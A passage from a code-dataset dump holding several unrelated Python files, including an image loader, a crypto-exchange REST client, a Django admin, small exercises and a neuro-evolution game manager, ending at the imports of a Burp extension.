client\n","sub_path":"integration_tests/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"483210395","text":"import numpy as np\nimport scipy.misc\nfrom glob import glob\nimport fnmatch\nimport time\nimport os\n\n\ndef center_crop(image, input_h, input_w, resize_h, resize_w):\n h, w = image.shape[:2]\n j = int(round((h - input_h)/2.))\n i = int(round((w - input_w)/2.))\n return scipy.misc.imresize(image[j:j+input_h, i:i+input_w], [resize_h, resize_w])\n\n\ndef make_generator(pathnames, n_files, batch_size, crop=True):\n epoch_count = [1]\n def get_epoch():\n images = np.zeros((batch_size, 3, 64, 64), dtype='int32')\n files = np.arange(n_files)\n random_state = np.random.RandomState(epoch_count[0])\n random_state.shuffle(files)\n epoch_count[0] += 1\n for n, i in enumerate(files):\n image = scipy.misc.imread(\"{}\".format(pathnames[i]))\n \n if crop:\n image = center_crop(image, 178, 178, 64, 64)\n else:\n image = scipy.misc.imresize(image, [64, 64])\n \n images[n % batch_size] = image.transpose(2,0,1)\n if n > 0 and n % batch_size == 0:\n yield (images,)\n return get_epoch\n\ndef load(batch_size, data_dir, crop=True):\n pathnames_train = glob(os.path.join(data_dir, 'train', '*.jpg'))\n pathnames_val = glob(os.path.join(data_dir, 'test', '*.jpg'))\n\n return (\n make_generator(pathnames_train, len(pathnames_train), batch_size, crop=crop),\n make_generator(pathnames_val, len(pathnames_val), batch_size, crop=crop)\n )\n\nif __name__ == '__main__':\n train_gen, valid_gen = load(64)\n t0 = time.time()\n for i, batch in enumerate(train_gen(), start=1):\n #print(\"{}\\t{}\".format(str(time.time() - t0), batch[0][0,0,0,0]))\n if i == 1000:\n break\n t0 = time.time()\n","sub_path":"igul222_GANs/tflib/load_celebA.py","file_name":"load_celebA.py","file_ext":"py","file_size_in_byte":1773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"90025705","text":"import requests\nimport time\nimport datetime\nimport hashlib\nimport hmac\nimport base64\nimport json\nfrom enum import Enum\n\nfrom decimal import Decimal\nfrom .version import __version__ as version\n\nagent = requests.Session()\n\n\nclass OrderType(Enum):\n MARKET = 'market_order'\n LIMIT = 'limit_order'\n\n\nclass TimeInForce(Enum):\n FOK = 'fok'\n IOC = 'ioc'\n GTC = 'gtc'\n\n\nclass DeltaRestClient:\n\n def __init__(self, base_url, api_key=None, api_secret=None):\n self.base_url = base_url\n self.api_key = api_key\n self.api_secret = api_secret\n\n # Check if payload and query are working\n def request(self, method, path, payload=None, query=None, auth=False):\n url = '%s/%s' % (self.base_url, path)\n if auth:\n if self.api_key is None or self.api_secret is None:\n raise Exception('Api_key or Api_secret missing')\n timestamp = get_time_stamp()\n signature_data = method + timestamp + '/' + path + \\\n query_string(query) + body_string(payload)\n signature = generate_signature(self.api_secret, signature_data)\n req_headers = {\n 'api-key': self.api_key,\n 'timestamp': timestamp,\n 'signature': signature,\n 'User-Agent': 'rest-client',\n 'Content-Type': 'application/json'\n }\n else:\n req_headers = {'User-Agent': 'rest-client'}\n\n res = requests.request(\n method, url, data=body_string(payload), params=query, timeout=(3, 27), headers=req_headers\n )\n\n res.raise_for_status()\n return res\n\n def get_product(self, product_id):\n response = self.request(\"GET\", \"products\")\n response = response.json()\n products = list(\n filter(lambda x: x['id'] == product_id, response))\n return products[0] if len(products) > 0 else None\n\n def batch_create(self, product_id, orders):\n response = self.request(\n \"POST\",\n \"orders/batch\",\n {'product_id': product_id, 'orders': orders},\n auth=True)\n return response\n\n def create_order(self, order):\n response = self.request('POST', \"orders\", order, auth=True)\n return response.json()\n\n def batch_cancel(self, product_id, orders):\n response = self.request(\n \"DELETE\",\n \"orders/batch\",\n {'product_id': product_id, 'orders': orders},\n auth=True)\n return response.json()\n\n def batch_edit(self, product_id, orders):\n response = self.request(\n \"PUT\",\n \"orders/batch\",\n {'product_id': product_id, 'orders': orders},\n auth=True\n )\n return response.json()\n\n def get_orders(self, query=None):\n response = self.request(\n \"GET\",\n \"orders\",\n query=query,\n auth=True)\n return response.json()\n\n def get_L2_orders(self, product_id, auth=False):\n response = self.request(\"GET\", \"orderbook/%s/l2\" %\n product_id, auth=auth)\n return response.json()\n\n def get_ticker(self, symbol):\n response = self.request(\n \"GET\", \"/products/ticker/24hr\", query={'symbol': symbol})\n return response.json()\n\n def get_wallet(self, asset_id):\n response = self.request(\"GET\", \"wallet/balance\",\n query={'asset_id': asset_id}, auth=True)\n return response.json()\n\n def get_price_history(self, symbol, duration=5, resolution=1):\n if duration/resolution >= 500:\n raise Exception('Too many Data points')\n\n current_timestamp = time.mktime(datetime.datetime.today().timetuple())\n last_timestamp = current_timestamp - duration*60\n query = {\n 'symbol': symbol,\n 'from': last_timestamp,\n 'to': current_timestamp,\n 'resolution': resolution\n }\n\n response = self.request(\"GET\", \"chart/history\", query=query)\n return response.json()\n\n def get_price_history_by_time(self, symbol, start_time, end_time, resolution=1):\n # if duration/resolution >= 500:\n # raise Exception('Too many Data points')\n\n # current_timestamp = time.mktime(datetime.datetime.today().timetuple())\n # last_timestamp = current_timestamp - duration*60\n query = {\n 'symbol': symbol,\n 'from': start_time,\n 'to': end_time,\n 'resolution': resolution\n }\n\n response = self.request(\"GET\", \"chart/history\", query=query)\n return response.json()\n\n def get_mark_price(self, product_id, auth=False):\n response = self.get_L2_orders(product_id, auth=auth)\n return float(response['mark_price'])\n\n def get_leverage(self):\n raise Exception('Method not implemented')\n\n def get_position(self, product_id):\n response = self.request(\n \"GET\",\n \"positions\",\n auth=True)\n response = response.json()\n if response:\n current_position = list(\n filter(lambda x: x['product']['id'] == product_id, response))\n return current_position[0] if len(current_position) > 0 else None\n else:\n return None\n\n def set_leverage(self, product_id, leverage):\n response = self.request(\n \"POST\",\n \"orders/leverage\",\n {\n 'product_id': product_id,\n 'leverage': leverage\n },\n auth=True)\n return response.json()\n\n def change_position_margin(self, product_id, delta_margin):\n response = self.request(\n 'POST',\n 'positions/change_margin',\n {\n 'product_id': product_id,\n 'delta_margin': delta_margin\n },\n auth=True)\n return response.json()\n\n def cancel_order(self, product_id, order_id):\n order = {\n 'id': order_id,\n 'product_id': product_id\n }\n response = self.request('DELETE', \"orders\", order, auth=True).json()\n return response\n\n def place_stop_order(self, product_id, size, side, stop_price=None, limit_price=None, trail_amount=None, order_type=OrderType.LIMIT, isTrailingStopLoss=False):\n order = {\n 'product_id': product_id,\n 'size': int(size),\n 'side': side,\n 'order_type': order_type.value,\n 'stop_order_type': 'stop_loss_order',\n }\n if order_type.value == 'limit':\n if limit_price is None:\n raise Exception('limit_price is nil')\n\n order['limit_price'] = str(limit_price)\n\n if isTrailingStopLoss is True:\n if trail_amount is None:\n raise Exception('trail_amount is nil')\n order['trail_amount'] = str(\n trail_amount) if side == 'buy' else str(-1 * trail_amount)\n else:\n if stop_price is None:\n raise Exception('stop_price is nil')\n order['stop_price'] = str(stop_price)\n response = self.create_order(order)\n return response\n\n def place_bracket_order(self, product_id, size, side, limit_price=None, time_in_force=None, order_type=OrderType.LIMIT, post_only='false', client_order_id=None, take_profit_price=None, trail_amount=None):\n order = {\n 'product_id': product_id,\n 'size': int(size),\n 'side': side,\n 'order_type': order_type.value,\n 'post_only': post_only,\n \"bracket_order\": {\"stop_loss_price\": \"\", \"take_profit_price\": take_profit_price, \"trail_amount\": trail_amount}\n\n }\n print('order', order)\n if order_type.value == 'limit_order':\n order['limit_price'] = str(limit_price)\n\n if time_in_force:\n order['time_in_force'] = time_in_force.value\n\n if client_order_id:\n order['client_order_id'] = client_order_id\n\n response = self.create_order(order)\n return response\n\n def place_order(self, product_id, size, side, limit_price=None, time_in_force=None, order_type=OrderType.LIMIT, post_only='false', client_order_id=None):\n order = {\n 'product_id': product_id,\n 'size': int(size),\n 'side': side,\n 'order_type': order_type.value,\n 'post_only': post_only,\n }\n if order_type.value == 'limit_order':\n order['limit_price'] = str(limit_price)\n\n if time_in_force:\n order['time_in_force'] = time_in_force.value\n\n if client_order_id:\n order['client_order_id'] = client_order_id\n\n response = self.create_order(order)\n return response\n\n def get_assets(self):\n response = self.request('GET', 'assets')\n return response.json()\n\n def get_all_products(self):\n response = self.request('GET', 'products')\n return response.json()\n\n def order_history(self, page_num=1, page_size=100):\n response = self.request(\n 'GET',\n 'orders/history',\n query={\n 'page_num': page_num,\n 'page_size': page_size\n },\n auth=True\n )\n return response.json()\n\n def fills(self, page_num=1, page_size=100):\n response = self.request(\n 'GET',\n 'fills',\n query={\n 'page_num': page_num,\n 'page_size': page_size\n },\n auth=True\n )\n return response.json()\n\n\ndef create_order_format(price, size, side, product_id, post_only='false'):\n order = {\n 'product_id': product_id,\n 'limit_price': str(price),\n 'size': int(size),\n 'side': side,\n 'order_type': 'limit_order',\n 'post_only': post_only\n }\n return order\n\n\ndef cancel_order_format(x):\n order = {\n 'id': x['id'],\n 'product_id': x['product']['id']\n }\n return order\n\n\ndef round_by_tick_size(price, tick_size, floor_or_ceil=None):\n remainder = price % tick_size\n if remainder == 0:\n price = price\n if floor_or_ceil == None:\n floor_or_ceil = 'ceil' if (remainder >= tick_size / 2) else 'floor'\n if floor_or_ceil == 'ceil':\n price = price - remainder + tick_size\n else:\n price = price - remainder\n number_of_decimals = len(\n format(Decimal(repr(float(tick_size))), 'f').split('.')[1])\n price = round(Decimal(price), number_of_decimals)\n return price\n\n\ndef generate_signature(secret, message):\n message = bytes(message, 'utf-8')\n secret = bytes(secret, 'utf-8')\n hash = hmac.new(secret, message, hashlib.sha256)\n return hash.hexdigest()\n\n\ndef get_time_stamp():\n d = datetime.datetime.utcnow()\n epoch = datetime.datetime(1970, 1, 1)\n return str(int((d - epoch).total_seconds()))\n\n\ndef query_string(query):\n if query == None:\n return ''\n else:\n query_strings = []\n for key, value in query.items():\n query_strings.append(key + '=' + str(value))\n return '?' + '&'.join(query_strings)\n\n\ndef body_string(body):\n if body == None:\n return ''\n else:\n return json.dumps(body, separators=(',', ':'))\n","sub_path":"delta_history/delta/delta_rest_client.py","file_name":"delta_rest_client.py","file_ext":"py","file_size_in_byte":11379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"312606210","text":"from django.contrib import admin, message\nfrom django.utils.translation import gettext, gettext_lazy as _\nfrom django.conf import settings\nfrom ..models import ReadLine\nfrom django.core.mail import send_mail\n\nclass ReadLineAdmin(admin.ModelAdmin):\n fieldsets = [\n (None, {'fields': ('name', 'factory')}),\n ]\n\n exclude = ['last_login']\n\n list_display = ['name', 'factory', 'company', 'login_at', 'cloudkey']\n\n list_filter = [\n ('factory__company', admin.RelatedOnlyFieldListFilter),\n ('factory', admin.RelatedOnlyFieldListFilter)\n ]\n\n def getBody(self, queryset):\n s = \"\"\n for e in queryset:\n s += 'Reading Line: '+e.name+ ', Cloudkey: '+e.cloudkey+'\\n'\n return s\n \n def send_email(self, request, queryset):\n subject = 'CloudKey Change'\n message = self.getBody(queryset)\n email_from = settings.EMAIL_HOST_USER\n recipient_list = [request.user.email, ]\n \n try:\n send_mail(subject, message, email_from, recipient_list)\n self.message_user(request, f'An email to {request.user.email} has been successfully sent')\n except: #SMTPAuthenticationError\n self.message_user(request, 'There was a problem sending the email, contact with the Administrator', level=messages.ERROR)\n \n send_email.short_description = \"Send CloudKey to my email\"\n actions = [send_email]\n\n ## Overriden methods\n def get_readonly_fields(self, request, obj=None):\n ret = []\n # Set readonly when object is already created\n if obj is not None:\n ret.extend(['factory'])\n return ret\n\n def get_formsets_with_inlines(self, request, obj=None):\n for inline in self.get_inline_instances(request, obj):\n # Hide inlines on add\n if obj is not None:\n yield inline.get_formset(request, obj), inline\n\n def company(self, obj):\n return obj.factory.company\n\n\nclass ReadLineInline(admin.TabularInline):\n model = ReadLine\n extra = 0\n can_delete = False\n readonly_fields = ['name', 'login_at']\n exclude = ['cloudkey', 'stationid']\n\n ## Overriden methods\n def has_add_permission(self, request, obj):\n return False\n","sub_path":"Cloud/web/partners/admin/readline.py","file_name":"readline.py","file_ext":"py","file_size_in_byte":2253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"135150013","text":"class Asset:\n def __init__(self, tag, mac, sn, mn, owner):\n self.AssetTag = tag\n self.MacAddress = mac\n self.SerialNumber = sn\n self.ModelNumber = mn\n self.Owner = owner\n\n def toString(self):\n rtnStr = \"{0}\\n\\tSerial Number: {1}\\n\\tModel Number: {2}\\n\\tMac Address: {3}\\n\\tOwner: {4}\"\n return rtnStr.format(self.AssetTag, self.SerialNumber, self.ModelNumber, self.MacAddress, self.Owner)\n\n","sub_path":"Week 08/AssetTracking/AssetTracking/Asset.py","file_name":"Asset.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"112891862","text":"trans = {'0':'ling', '1':'yi', '2':'er', '3':'san', '4': 'si', '5':'wu', \n '6':'liu', '7':'qi', '8':'ba', '9':'jiu', '10': 'shi', '100': 'bai'}\n\n\n\ndef speak_Chinese(number):\n if number != int(number) or not 0<=int(number)<=999:\n print('无效号码。 请输入0到999之间的整数.')\n else: \n intnumber = number\n number = str(number)\n if 0<=intnumber<=10:\n return trans[number]\n if 11<=intnumber<=19:\n return '{} {}'.format(trans['10'],trans[number[1]])\n if 20<=intnumber<=99:\n if number[1] == '0':\n return '{} {}'.format(trans[number[0]],trans['10']) \n else:\n return '{} {} {}'.format(trans[number[0]],trans['10'],trans[number[1]])\n if 100<=intnumber<=999:\n if number[1]=='0' and number[2]!='0':\n return '{} {} {} {}'.format(trans[number[0]],trans['100'],trans['0'],trans[number[2]])\n if number[2]=='0' and number[1]!='0':\n return '{} {} {} {}'.format(trans[number[0]],trans['100'],trans[number[1]],trans['10'])\n if number[1]=='0' and number[2]=='0':\n return '{} {} '.format(trans[number[0]],trans['100'])\n else:\n return '{} {} {} {} {}'.format(trans[number[0]],trans['100'],trans[number[1]],trans['10'], trans[number[2]])\n# For testing\ndef main():\n print(speak_Chinese(36))\n print('In Chinese: 36 = san shi liu')\n print(speak_Chinese(20))\n print('In Chinese: 20 = er shi')\n print(speak_Chinese(16))\n print('In Chinese: 16 = shi liu')\n print(speak_Chinese(200))\n print('In Chinese: 200 = er bai')\n print(speak_Chinese(109))\n print('In Chinese: 109 = yi bai ling jiu')\n print(speak_Chinese(999))\n print('In Chinese: 999 = jiu bai jiu shi jiu')\n\nif __name__ == '__main__':\n main()\n","sub_path":"exam_p1.py","file_name":"exam_p1.py","file_ext":"py","file_size_in_byte":1866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"47608199","text":"from PIL import Image, ImageDraw, ImageFont, ImageFilter, ImageOps\nfrom plugins import resources, tarot, playing\n\n\ndef concat(image_list):\n widths, heights = zip(*( img.size for img in image_list))\n width = sum(widths)\n height = max(heights)\n\n canvas = Image.new('RGBA', (width, height), (255,255,255,0))\n offset = 0\n for image in image_list:\n canvas.paste(image, (offset, 0))\n offset += image.size[0]\n return canvas\n\ndef margin(image, size):\n canvas = Image.new('RGBA', tuple([ o + m * 2 for o, m in zip(image.size, size) ]), (255, 255, 255, 0))\n canvas.paste(image, size)\n return canvas\n\ndef set_size(image, size):\n canvas = Image.new('RGBA', size, (255, 255, 255, 0))\n canvas.paste(image, tuple([ (c - o) // 2 for o, c in zip(image.size, size) ]))\n return canvas\n\ndef bgcolor(image, color):\n canvas = Image.new('RGBA', image.size, color)\n canvas = Image.alpha_composite(canvas, image)\n return canvas\n\ndef text_at_center(canvas, text, fontfile='materials/font.otf', fontsize=18):\n image_w, image_h = canvas.size[0] * 4, canvas.size[1] * 4\n image = Image.new('RGBA', (image_w, image_h), (255,255,255,0))\n draw = ImageDraw.Draw(image)\n\n draw.font = ImageFont.truetype(fontfile, fontsize * 4)\n lines = text.splitlines()\n ws, hs = [s for s in zip(*[draw.font.getsize(line) for line in lines])]\n text_w, text_h = max(ws), sum(hs)\n\n for row,line in enumerate(lines):\n position = (image_w - ws[row])/2, (image_h - text_h)/2 + hs[row] * row\n draw.text(position, line, (0, 0, 0, 255))\n\n img = image.resize((image_w//4, image_h//4), Image.ANTIALIAS)\n canvas.paste(img, (0,0))\n return canvas\n\n\ndef dropshadow(image, border=5):\n img = ImageOps.invert(image.split()[3]).convert(\"RGBA\")\n img = margin(img, (border, border))\n for n in range(3):\n img = img.filter(ImageFilter.BLUR)\n img = Image.alpha_composite(img, margin(image, (border,border)))\n return img\n\ndef create_single_tarot_image(card, text=None):\n fontsize = 18 if isinstance(card, tarot.MinorArcana) else 16\n image = concat([resources.tarot_blank, resources.tarot_blank])\n image = text_at_center(image, text or card.info_rows, fontsize=fontsize)\n image = set_size(image, (160, 150))\n image = concat([dropshadow(card.image), image])\n image = bgcolor(set_size(image, resources.canvas_size), resources.bg_color)\n return image\n\ndef create_triple_tarot_image(cards):\n image = dropshadow(concat([card.image for card in cards]))\n image = bgcolor(set_size(image, resources.canvas_size), resources.bg_color)\n return image\n\ndef create_playing_card_image(cards):\n image = concat([card.image for card in playing.Deck.sort(cards)])\n image = set_size(image, (420, 280))\n image = bgcolor(image, (38, 75, 31))\n return image\n\n","sub_path":"plugins/images.py","file_name":"images.py","file_ext":"py","file_size_in_byte":2833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"418504134","text":"import pandas as pd \r\nimport random\r\nimport statistics\r\nimport csv\r\nimport plotly.figure_factory as ff \r\nimport plotly.graph_objects as go \r\ndf=pd.read_csv('medium_data.csv')\r\ndata=df['Math_score'].tolist()\r\nmean=statistics.mean(data)\r\nstd=statistics.stdev(data)\r\n\r\ndef randomSetOfMeans(counter):\r\n dataSet=[]\r\n for i in range(0,counter):\r\n randomIndex=random.randint(0,len(data)-1)\r\n value=data[randomIndex]\r\n dataSet.append(value)\r\n mean=statistics.mean(dataSet)\r\n return mean\r\n\r\nmeanList=[]\r\nfor i in range(0,1000):\r\n setOfMeans=randomSetOfMeans(100)\r\n meanList.append(setOfMeans)\r\nm1=statistics.mean(meanList)\r\ns1=statistics.stdev(meanList)\r\nprint(m1,s1)\r\n\r\n\r\nfsds,fsde=m1-s1,m1+s1\r\nssds,ssde=m1-2*s1,m1+2*s1\r\ntsds,tsde=m1-3*s1,m1+3*s1\r\ndf=pd.read_csv('data3.csv')\r\ndata=df['Math_score'].tolist()\r\nmean=statistics.mean(data)\r\nstd=statistics.stdev(data)\r\nfig=ff.create_distplot([meanList],['Student Marks'],show_hist=False)\r\nfig.add_trace(go.Scatter(x=[m1,m1],y=[0,0.17],mode='lines',name='mean'))\r\nfig.add_trace(go.Scatter(x=[mean,mean],y=[0,0.17],mode='lines',name='mean'))\r\nfig.add_trace(go.Scatter(x=[ssde,ssde],y=[0,0.17],mode='lines',name='stdev2end'))\r\nfig.add_trace(go.Scatter(x=[tsde,tsde],y=[0,0.17],mode='lines',name='stdev3end'))\r\nfig.show()\r\nzscore=(mean-m1)/std\r\nprint(zscore)\r\n","sub_path":"Project111.py","file_name":"Project111.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"451202353","text":"\nfrom datetime import datetime, timedelta\nimport pandas as pd\nimport numpy as np\nfrom ipdb import set_trace\n\n#print(pd.Timestamp(datetime.today()).strftime('%Y-%m-%d'))\n\n\n\nt = pd.DataFrame()\nt['a'] = [1,2,6,2,3,6,1,4]\nt['b'] = [3,4,5,2,3,4,4,5]\nt = t.groupby('a')\nt = t.get_group(1)\nprint(t)\nset_trace()\nprint(t.std()['a'])\n#t = np.matrix([[1,2,3],[1,2,3],[2,3,4],[3,6,7]])\nt = np.matrix(t)\nprint(np.shape(t))\nprint(np.cov(t.T))\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"59099561","text":"import argparse\n\nfrom keras.models import load_model\nimport pickle\nimport threading\nfrom time import sleep\nimport os\n\nfrom predictPlayNN import connectAndPlay\nfrom championship_manager import Championship\nfrom neuro_evolution.genetic_algorithm import evolve\n\n\ndef loadModels(folder, generation, playersNumber):\n # blackModel = {\"id\": (from, to), ...}\n blackModel = {}\n whiteModel = {}\n\n genStr = str(generation)\n\n for i in range(playersNumber):\n blackModel[genStr + \"_\" + str(i)] = (\n load_model(folder + genStr + \"/black/modelFB_\" + genStr + \"_\" + str(i), compile=False),\n load_model(folder + genStr + \"/black/modelTB_\" + genStr + \"_\" + str(i), compile=False)\n )\n whiteModel[genStr + \"_\" + str(i)] = (\n load_model(folder + genStr + \"/white/modelFW_\" + genStr + \"_\" + str(i), compile=False),\n load_model(folder + genStr + \"/white/modelTW_\" + genStr + \"_\" + str(i), compile=False)\n )\n\n # model.predict() is not thread safe, so we have to compute the predict function here before creating threads\n for k in blackModel.keys():\n blackModel[k][0]._make_predict_function()\n blackModel[k][1]._make_predict_function()\n for k in whiteModel.keys():\n whiteModel[k][0]._make_predict_function()\n whiteModel[k][1]._make_predict_function()\n\n return blackModel, whiteModel\n\n\ndef loadLabels(folder):\n blackLabel = []\n whiteLabel = []\n\n blackLabel.append(pickle.loads(open(folder + \"label/labelFB\", \"rb\").read()))\n blackLabel.append(pickle.loads(open(folder + \"label/labelTB\", \"rb\").read()))\n\n whiteLabel.append(pickle.loads(open(folder + \"label/labelFW\", \"rb\").read()))\n whiteLabel.append(pickle.loads(open(folder + \"label/labelTW\", \"rb\").read()))\n\n return blackLabel, whiteLabel\n\n\ndef saveReport(folder, championship, generationNumber):\n with open(folder + \"report/report_\" + str(generationNumber) + \".txt\", \"w\") as reportFile:\n reportFile.write(\"Black with points:\\n\")\n # print also baseline scores\n champ = championship.black_with_points(False, \"baseline_net\")\n sortedChamp = sorted(champ.items(), key=lambda kv: kv[1], reverse=True)\n details = championship.black_with_score()\n i = 1\n for net in sortedChamp:\n reportFile.write(str(i) + \") \" + net[0] + \" \" + str(net[1]) + \" \" + str(details[net[0]]) + \"\\n\")\n i += 1\n\n reportFile.write(\"\\nWhite with points:\\n\")\n # print also baseline scores\n champ = championship.white_with_points(False, \"baseline_net\")\n sortedChamp = sorted(champ.items(), key=lambda kv: kv[1], reverse=True)\n details = championship.white_with_score()\n i = 1\n for net in sortedChamp:\n reportFile.write(str(i) + \") \" + net[0] + \" \" + str(net[1]) + \" \" + str(details[net[0]]) + \"\\n\")\n i += 1\n\n\ndef waitForThreads():\n mainThread = threading.currentThread()\n for t in threading.enumerate():\n if t is not mainThread:\n t.join()\n\n\ndef saveModels(folder, generation, blackNewModel, whiteNewModel):\n for k in blackNewModel.keys():\n blackNewModel[k][0].save(folder + str(generation) + \"/black/modelFB_\" + k)\n blackNewModel[k][1].save(folder + str(generation) + \"/black/modelTB_\" + k)\n\n for k in whiteNewModel.keys():\n whiteNewModel[k][0].save(folder + str(generation) + \"/white/modelFW_\" + k)\n whiteNewModel[k][1].save(folder + str(generation) + \"/white/modelTW_\" + k)\n\n\n# construct the argument parser and parse the arguments\nap = argparse.ArgumentParser()\nap.add_argument(\"-sgn\", \"--starting-generation-number\", required=True,\n help=\"the number of the first generation to consider\")\nap.add_argument(\"-nf\", \"--net-folder\", required=True,\n help=\"the folder containing the nets divided by generation number\")\nap.add_argument(\"-pn\", \"--players-number\", required=True, help=\"the number of players (nets) for every generation\")\nap.add_argument(\"-gn\", \"--generation-number\", required=True, help=\"how many generations have to be computed\")\n\nap.add_argument(\"-b\", \"--baseline\", required=True, help=\"1: use baseline championship, 0: use network championship\")\n# more arguments needed?\nargs = vars(ap.parse_args())\n\n# folder hierarchy:\n# neuralNetworks\n# labels\n# labelFB\n# labelTB\n# labelFW\n# labelTW\n# 0\n# black\n# modelFB_0_0\n# modelTB_0_0\n# ...\n# modelFB_0_49\n# modelTB_0_49\n# white\n# modelFW_0_0\n# ...\n# modelTW_0_49\n# 1\n# ...\n# ...\n# n\n# ...\n\nWHITEPORT = 5800\nBLACKPORT = 5801\n\nCROSSOVERRATE = 0.01\nMUTATIONRATE_INDIVIDUALS = 0.5\nMUTATIONRATE_NEURONS = 0.005\n\nfolder = args[\"net_folder\"]\nif folder[-1] != \"/\":\n folder += \"/\"\n\nstartingGenerationNumber = int(args[\"starting_generation_number\"])\nplayersNumber = int(args[\"players_number\"])\n\ngenerationNumber = int(args[\"generation_number\"])\n\n# load neural networks from the folder provided\nprint(\"[INFO] loading networks and label binarizers...\")\nblackModel, whiteModel = loadModels(folder, startingGenerationNumber, playersNumber)\nblackLabel, whiteLabel = loadLabels(folder)\n\nfor g in range(startingGenerationNumber, startingGenerationNumber + generationNumber):\n print(\"[INFO] generation number \" + str(g))\n\n # generate championship for this generation\n championship = Championship([str(g) + \"_\" + str(i) for i in range(playersNumber)])\n\n # matches: [(white player, black player), ...]\n # in this case: [('1_0', '1_29'), ('1_1', '1_28') ... ]\n matches = championship.all_matches()\n\n ##########################################################################\n # These lines are needed to reduce number of concurrent thread\n # if 'limited_match_per_time' all threads will start to execute asap\n limited_match_per_time = False\n # len(matches) = n ** 2, match_per_time >= 1 (at least 1 match)\n # match_per_time = sqrt(len(matches))\n match_per_time = 900\n num_current_match = 1\n ##########################################################################\n ##########################################################################\n # These lines are needed to manage the baseline player, which will be the\n # last player in the list, to do not create issues in the evolution step\n USE_BASELINE = int(args[\"baseline\"])\n # folder that contains moves that makes baseline lose against a net\n if USE_BASELINE and not os.path.isdir(folder + 'baseline_defeated_by/'):\n os.makedirs(folder + 'baseline_defeated_by/')\n baseline_net = '_' + str(playersNumber - 1)\n # remove all matches where the baseline does not play, and where both are baseline\n if USE_BASELINE:\n matches = [match\n for match in matches\n if (match[0][-len(baseline_net):] == baseline_net or match[1][-len(baseline_net):] == baseline_net)\n and not (match[0][-len(baseline_net):] == baseline_net\n and match[1][-len(baseline_net):] == baseline_net)]\n matches *= 5\n ##########################################################################\n\n # lock to correctly use Theano\n lock = threading.Lock()\n\n print(\"[INFO] playing \" + str(len(matches)) + \" matches...\")\n\n for m in matches:\n # white player created\n whitePlayer = m[0]\n baseline_player = False\n if USE_BASELINE and whitePlayer[-len(baseline_net):] == baseline_net:\n baseline_player = True\n modelFrom = whiteModel[whitePlayer][0]\n modelTo = whiteModel[whitePlayer][1]\n\n whiteThreadPlay = threading.Thread(target=connectAndPlay, args=(\n modelFrom, modelTo, whiteLabel[0], whiteLabel[1], whitePlayer, \"W\", WHITEPORT, championship, lock,\n baseline_player, folder + 'baseline_defeated_by/', m[1]))\n whiteThreadPlay.start()\n\n # black player created\n blackPlayer = m[1]\n baseline_player = False\n if USE_BASELINE and blackPlayer[-len(baseline_net):] == baseline_net:\n baseline_player = True\n modelFrom = blackModel[blackPlayer][0]\n modelTo = blackModel[blackPlayer][1]\n\n blackThreadPlay = threading.Thread(target=connectAndPlay, args=(\n modelFrom, modelTo, blackLabel[0], blackLabel[1], blackPlayer, \"B\", BLACKPORT, championship, lock,\n baseline_player, folder + 'baseline_defeated_by/', m[0]))\n blackThreadPlay.start()\n\n if limited_match_per_time:\n print(\"started match number: \" + str(num_current_match))\n if num_current_match % match_per_time == 0 or num_current_match == len(matches) - 1:\n waitForThreads()\n else:\n sleep(0.5)\n num_current_match += 1\n else:\n sleep(0.5)\n\n if not limited_match_per_time:\n waitForThreads()\n\n # print report\n saveReport(folder, championship, g)\n\n # evolution of the networks\n print(\"[INFO] evolving networks...\")\n\n blackNextGeneration = []\n if USE_BASELINE:\n blackModel = {key: value for key, value in blackModel.items() if key[-len(baseline_net):] != baseline_net}\n print(\"[INFO] evolving \" + str(len(blackModel.keys())) + \" nets ...\")\n blackThreadEvolve = threading.Thread(target=evolve, args=(\n blackModel, championship.black_with_points(USE_BASELINE, baseline_net), playersNumber // 10, CROSSOVERRATE,\n MUTATIONRATE_INDIVIDUALS, MUTATIONRATE_NEURONS, blackNextGeneration, lock, USE_BASELINE))\n blackThreadEvolve.start()\n\n whiteNextGeneration = []\n if USE_BASELINE:\n whiteModel = {key: value for key, value in whiteModel.items() if key[-len(baseline_net):] != baseline_net}\n whiteThreadEvolve = threading.Thread(target=evolve, args=(\n whiteModel, championship.white_with_points(USE_BASELINE, baseline_net), playersNumber // 10, CROSSOVERRATE,\n MUTATIONRATE_INDIVIDUALS, MUTATIONRATE_NEURONS, whiteNextGeneration, lock, USE_BASELINE))\n whiteThreadEvolve.start()\n\n waitForThreads()\n\n # cleaning previous loaded models\n blackModel.clear()\n for i in range(playersNumber):\n blackModel[str(g + 1) + \"_\" + str(i)] = (blackNextGeneration[i][0], blackNextGeneration[i][1])\n\n whiteModel.clear()\n for i in range(playersNumber):\n whiteModel[str(g + 1) + \"_\" + str(i)] = (whiteNextGeneration[i][0], whiteNextGeneration[i][1])\n\n # create new directories for the mutated neural networks\n os.makedirs(folder + str(g + 1) + \"/black/\")\n os.makedirs(folder + str(g + 1) + \"/white/\")\n\n print(\"[INFO] saving evolved networks...\")\n saveModelsThread = threading.Thread(target=saveModels, args=(folder, g + 1, blackModel, whiteModel))\n saveModelsThread.start()\n","sub_path":"src/evolution_manager.py","file_name":"evolution_manager.py","file_ext":"py","file_size_in_byte":10878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"505901468","text":"from javax.swing import JPanel, JTextField, JButton, JLabel, BoxLayout\r\nfrom burp import IBurpExtender, ITab\r\n\r\nimport ctypes \r\nimport subprocess\r\n\r\nclass BurpExtender(IBurpExtender, ITab):\r\n def registerExtenderCallbacks(self, callbacks):\r\n self.callbacks = 